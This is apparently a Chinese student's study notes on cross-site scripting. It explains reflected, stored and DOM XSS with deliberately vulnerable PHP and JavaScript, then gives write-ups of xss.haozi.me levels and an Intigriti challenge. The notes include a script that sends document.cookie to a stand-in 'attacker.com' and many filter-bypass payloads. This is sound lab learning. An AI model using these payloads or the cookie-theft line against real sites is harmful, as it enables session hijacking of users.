• 什么是xss

跨站脚本攻击 原理是操纵存在漏洞的网站,使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时,攻击者就能完全控制用户与应用程序的交互。

  • XSS概念验证

通过注入一段有效载荷来验证大多数类型的 XSS 漏洞,该有效载荷会导致您的浏览器执行一些任意 JavaScript 代码。相当于就是快速检测是否有xss漏洞 。在大多数靶场里面可以快速用函数alert() 看看会不会出现弹窗 后面alert()函数在有些无法使用了 用的是print()

  • XSS攻击类型

XSS攻击主要分为三种类型,分别是:

  • 反射型 XSS,其中恶意脚本来自当前的 HTTP 请求。
  • 存储型 XSS,其中恶意脚本来自网站的数据库。
  • 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。
  • 反射型xss

恶意代码通过 URL 参数传递,服务器未过滤直接将其返回给浏览器,浏览器执行这段代码。
比如

1
漏洞页面:search.php <?php // 直接获取URL中“query”参数的值,未过滤 $search_query = $_GET['query']; ?> <!DOCTYPE html> <html> <body> <p>你搜索的内容是:<?php echo $search_query; ?></p> <!-- 直接输出用户输入 --> </body> </html>

注入

1
http://example.com/search.php?query=<script>alert('反射性XSS测试')</script>

然后别人输入 或者点击我构造的危险链接后 我服务器上就能获得别人的信息 cookie 当前页面等等

  • 存储型 XSS

指应用程序从不受信任的来源接收数据,并以不安全的方式将该数据包含在其后续的 HTTP 响应中 也就是会影响到所有接收到http响应的人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 1. 提交留言接口:save_message.php
<?php
// 接收用户输入的留言内容
$message = $_POST['content'];
// 连接数据库,直接存储恶意代码(无过滤)
$conn = mysqli_connect("localhost", "root", "password", "test_db");
$sql = "INSERT INTO message (content) VALUES ('$message')";
mysqli_query($conn, $sql);
?>

// 2. 展示留言接口:show_message.php
<?php
$conn = mysqli_connect("localhost", "root", "password", "test_db");
$sql = "SELECT content FROM message";
$result = mysqli_query($conn, $sql);
// 读取所有留言并直接输出到页面(无转义)
while($row = mysqli_fetch_assoc($result)) {
echo "<div class='msg'>" . $row['content'] . "</div>";
}
?>

然后构造

1
<script> // 窃取当前用户Cookie并发送到攻击者服务器 var cookie = document.cookie; new Image().src = "http://attacker.com/steal.php?cookie=" + cookie; </script>

当任何用户访问show_message.php页面时,服务器会从数据库读取这条恶意留言,并输出到页面中。用户的浏览器会自动执行脚本:
读取该用户的网站 Cookie;
跨域将 Cookie 发送到攻击者的服务器;
攻击者查看steal.php的日志,即可获取所有访问该留言板用户的 Cookie。

  • 基于 DOM 的 XSS(恶意代码全程不经过服务器)

什么是DOM 文档对象模型 通过将文档的结构(例如表示网页的 HTML)以对象的形式存储在内存中,将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分,但它通常与 JavaScript 相关。
举个例子

1
<p id="greet">你好</p>

对这个HTML代码
用 JavaScript 就能通过 DOM 轻松修改它:

1
// 从 DOM 里找到 id 是 greet 的元素 var pTag = document.getElementById("greet"); // 修改它的文字内容 pTag.textContent = "你好呀!";

就像是用编程语言去控制html的翻译官吧
当页面的 JavaScript直接使用客户端可控的数据(如 URL 参数、localStoragesessionStorage等)来更新 DOM,且没有对数据做过滤 / 转义时,攻击者可以构造恶意数据,让 JavaScript 把恶意脚本插入到页面中并执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<body>
<div id="welcome"></div>

<script>
// 从URL的query参数中获取"username"的值
// 例如 URL:http://example.com/welcome.html?username=test
var username = new URLSearchParams(location.search).get('username');
// 直接将username插入到页面的welcome节点中(危险操作)
document.getElementById('welcome').innerHTML = "欢迎你," + username;
</script>
</body>
</html>

假设一个有漏洞的前端代码

1
2
http://example.com/welcome.html?username=<img src=x onerror="new Image().src='http://attacker.com/steal.php?cookie='+document.cookie">
img标签的onerror事件(图片加载失败时执行代码),绕过了直接写<script>的限制

使用危险 DOM API 处理客户端数据
直接赋值给innerHTML、outerHTML、document.write();
动态创建标签时使用eval()、setTimeout()、setInterval()执行字符串(如eval(location.hash));
动态设置元素的事件属性(如onclick、onerror、onload)(会把写入的内容当作 HTML 解析

wp

  • xss.haozi

1.

1
2
3
  function render (input) {
return '<div>' + input + '</div>'
}

这个函数的逻辑是把传入的 input 参数直接拼接进 <div> 标签的 HTML 字符串中返回,完全没有对 input 中的特殊字符(如 <>script 等)做过滤或转义
那么直接弹窗就可以了
1
<script>alert(1)</script>

2.

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

<textarea> 是 HTML 的表单元素,设计初衷就是承载原始文本(比如输入框、编辑器内容),浏览器解析时会有特殊规则:
只要内容还在 <textarea> 标签内部,所有字符(包括 <><script> 等)都会被当作纯文本显示,不会解析成 HTML/JavaScript。 学到的方法 直接闭合 </textarea>(闭合标签),就能跳出<textarea>的纯文本上下文

1
"</textarea><script>alert(1)</script>"

也就是这样输入

1
<textarea>"</textarea><script>alert(1)</script>"</textarea>

然后拼接成这样
3.

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

直接把input拼接进去 input本身是创建表单的 而且

1
表单输入元素,属于「单标签」(没有闭合标签 </input>,直接以 <input ...> 结束);

这里可以提前闭合 然后执行 这里是一个新的方法 后面的<img>标签会被正常解析,src=1无效触发onerror事件,执行alert

1
"> <img src=x onerror=alert(1)>

正常执行就可以了

1
"> <script>alert(1)</script>

或者是直接用上input

1
" onclick=alert(1) x="

把前面value闭合了 把后面input也闭合了 变成这样

1
<input type="name" value="" onclick=alert(1) x="">

他的事件属性
onclick = 点击事件:当用户用鼠标左键点击该 HTML 元素时,立即执行onclick里的 JS 代码
onfocus = 聚焦事件:仅针对输入类元素(<input><textarea>),当用户把光标移入该元素(比如点击输入框准备输入内容)时,执行onfocus里的 JS 代码。
onchange = 内容改变事件:仅针对输入类元素,满足两个条件才触发:

  1. 用户修改了元素的内容(比如输入框里打字、下拉框选选项);
  2. 光标离开该元素(比如点击页面其他地方、按 Tab 键)。
1
2
3
4
5

事件属性 生效范围 XSS 攻击核心利用标签 核心特点
onclick 几乎所有 HTML 标签 <input>/<img> 点击就触发,通用但易察觉
onfocus 仅输入类表单标签(<input>/<textarea>/<select>) <input> 聚焦就触发,最隐蔽,输入必中
onchange 仅可修改内容的表单标签(<input>/<textarea>/<select>) <input> 改内容 + 离开触发,窃取输入内容

这一关我都试了 都是可行的
4. 黑名单 简陋的替换()为空字符 除了这个靶场 其他想要窃取cookie几乎也不需要()这个吧 但是还是得知道怎么过

1
<script>alert`1`</script>

用 反引号来包裹 或者是 HTML实体编码来进行绕过
1
<svg src=x οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

这里可以用上极客里面的svg (回忆一下)矢量图形格式 允许内嵌 JavaScript 代码,也能绑定onload/onclick/onmouseover等事件属性,浏览器解析 SVG 时会执行这些 JS
5. 过滤了反引号 那就是html实体编码 onload 是 HTML 的 “加载完成事件属性” —— 当某个 HTML 元素(或整个网页)完全加载完毕后,浏览器会自动执行 onload 属性里的 JavaScript 代码。
1
<svg src=x onload=alert&#40;1&#41;>

6. 闭合掉注释
1
2
<!-- -- !>
--!><script>alert(1)</script><!--

7. 过滤掉各种属性 on auto 以及标签> 看wp了

onclick
=alert(1)

居然是换行 什么原理
这里的「任意字符」不包含换行符(正则默认模式下,. 匹配除 \n/\r 外的所有字符)。

on.*=的匹配逻辑:`.*`是 “贪婪匹配任意字符(除换行)”,因为正则默认`.`不匹配换行符(`\n`),所以当`onclick`和`=`之间有换行时,`on.*=`无法匹配整个`onclick\n=`,所以不会被替换,从而绕过过滤
  1. 过滤了> 看wp 此处过滤了尖括号之间的字符,不过由于浏览器的兼容性,反尖括号(>)可以省略,从而进行绕过
<svg onclick="alert(1)"

解析onclick=alert(1) → 无引号时,属性值从alert开始,遇到第一个特殊字符(就立即终止;
onclick的属性值只保留alert,后面的(1)被当作 “SVG 标签内的无效文本”;
最终解析结果:<svg onclick=alert (1)</svg> → onclick只绑定了alert(无参数),自然触发不了弹窗。
所以这里是单一属性 需要加引号(其实这个才是标准写法) 
不加引号的话 给 svg 的 onclick 也加 “空格分隔的无效属性”,让`onclick=alert(1)`变成独立属性,无引号也能生效:<svg onclick=alert(1) x=1
  1. 用前面学到的换行绕过即可
</style
>
<script>alert(1)</script><style>
  1. 利用onerror 先匹配上正则 但是需要是个假的url 来使后面的代码执行 最后闭合上alert(1)
https://www.segmentfault.com111" onerror="alert(1)
  1. 先看源代码 是黑名单过滤
function render (input) &#123;
  function escapeHtml(s) &#123;
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  &#125;

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) &#123;
    return `<script src="$&#123;escapeHtml(input)&#125;"></script>`
  &#125;
  return 'Invalid URL'
&#125;

同时有上一关的正则匹配 这个也是看的wp 神奇
使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址 这个记一下知识点吧 毕竟哪个服务器上面会有个这个文件 我还要事先知道 记一下wp吧

https://www.segmentfault.com@xss.haozi.me/j.js
  1. 转大写 直接编码
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
  1. 去掉script 转大写 编码一样可以
  2. 注释掉了 然后黑名单 这里看着html写就可以了 绕过注释 最后有个’) 直接–>注释掉
1
2
3

alert(1)
-->
  1. 开始一次不能用字母 然后转大写 后面可以实体编码 前面不知道了 先放着
    实在是没法 看wp了 这谁能想到 ſ 大写后为 S(ſ 不等于s) (还有古英文!!)
1
<ſcript src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
  1. 原本想用上注释的 但是>被ban了 还好是在标签里面 前面的实体编码也没什么用 看着下面写闭合就可以了 然后加上; 保证能执行
1
');alert(1)('
  1. 这个是怎么防的?就是可以直接写代码 而且连标签都不用管 感觉怪怪的
  2. 过滤了很多 比较重要的就是
1
' \\ " < > `

上面错了 这里我补上知识点
JS 解析的优先级是「先处理转义符 → 再执行表达式 → 最后处理语法错误」,这也是 alert 能执行的关键 也就是说转义符会被直接无视 等于没有黑名单 直接照着前面闭合就可以了
19. 给双引号加上转义 前面的知识点 等于没有过滤了 但是我的输入会在”包着的
搞了一个这个

1
<script>console.log("\");alert(1);(\"");</script>

为啥不行 不是说会被转义吗?上一关是javascript: 会让字符串内容在第二次解析中重新成为代码,正是在第二次解析里成功闭合了字符串并执行了 alert
我这里就等于 console.log(‘“);alert(1);(“‘); 而上一道题

1
var url = 'javascript:console.log("\");alert(\"1")'

先等于javascript:console.log(“”);alert(“1”)
然后再次执行 前面就闭合了
所以说这道题

1
<script>console.log("\\"); alert(1) //");</script>

是一次性闭合了前面 来直接执行的 我看的网上的wp几乎都是写的很乱不清楚 搞了好久

xss挑战

规则

  • 应该执行alert(document.domain)
  • 应该利用该域名上的跨站脚本漏洞。
  • 不应该是自XSS攻击或与中间人攻击相关的攻击。
  • 应在go.intigriti.com/submit-solution上报告。
  • 无需用户交互。
    限制了长度 不能超过24个词 很受限制了 因为执行的东西就22了 不可能加标签了 抓包看看 有没有可能是简简单单的前端验证 其实没有这个限制呢 f12改尝试了 并不是 后端验证得死死的 不过重新审计代码
    前面的前端动效之类的不用管 后面扒下来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<script>
window.name = 'XSS(eXtreme Short Scripting) Game'

function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}

window['main-form'].onsubmit = function(e) {
e.preventDefault()
var inputName = window['name-field'].value
var isFirst = document.querySelector('input[type=radio]:checked').value
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}

if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}

window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
}

if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
</script>
</body>
</html>

关注一下这一个
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst 也就是说当我输入名字时 其实是这样子的q=名字&first=yes

1
2
3
4
5
6
7
// 1. 判断当前页面URL是否包含 "q=" 字符串
if (location.href.includes('q=')) {
// 2. 解码URL(处理URL中被编码的特殊字符,比如空格、中文等)
var uri = decodeURIComponent(location.href)
// 3. 提取?q=后面、&first=前面的内容
var qs = uri.split('&first=')[0].split('?q=')[1]
}

这里定义了两个参数 qs也就是用户输入的 它提取出来了 uri 存储解码后的完整 URL。
decodeURIComponent():URL 解码函数。因为浏览器会把 URL 中的特殊字符(比如中文、空格、&、= 等)编码成百分号形式
意思是检查的长度24只是在q=后面、&first=前面的内容
重新看一下

1
2
titleDOM.innerHTML = title
contentDOM.innerHTML = content

把上面记得搬过来 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。
那么之前看uri变量 用到换行符 真正执行的alert(document.domain)不计入长度检测就可以了
关于在js里换行符的知识 先解释JS 的解析逻辑
按行扫描 行内必须是合法 JS 新的一行是新的语句开始点
例如
eval("https://example.com\r\nalert(1)")
其实是等价于
alert(1)
对于换行符的边界

在JS里面 比较宽松 这两个都能作为LineTerminator(这一行代码结束了,下一行可以当作一条新的语句重新解析)
但是
HTTP 协议规范规定:一行头必须以 CRLF 结尾
也就是CRLF的兼容性比较大
那么 eval("https://... ?q=...&first=yes\r\nalert(document.domain)")
实际上执行的也就是alert(document.domain)
payload

1
?q=<svg/onload=eval(uri)>&first=yes%0aalert(document.domain)`

还有一点 无论长度限制 这里都没法用<script>
发生注入的位置

1
contentDOM.innerHTML = qs

关键规则
通过 innerHTML 动态插入的 <script> 标签,默认不会执行

这个题并不是页面初始 HTML 解析阶段
contentDOM.innerHTML = qs 把字符串「当 HTML 解析」然后再插入 DOM 树
之前完全忽略了这一点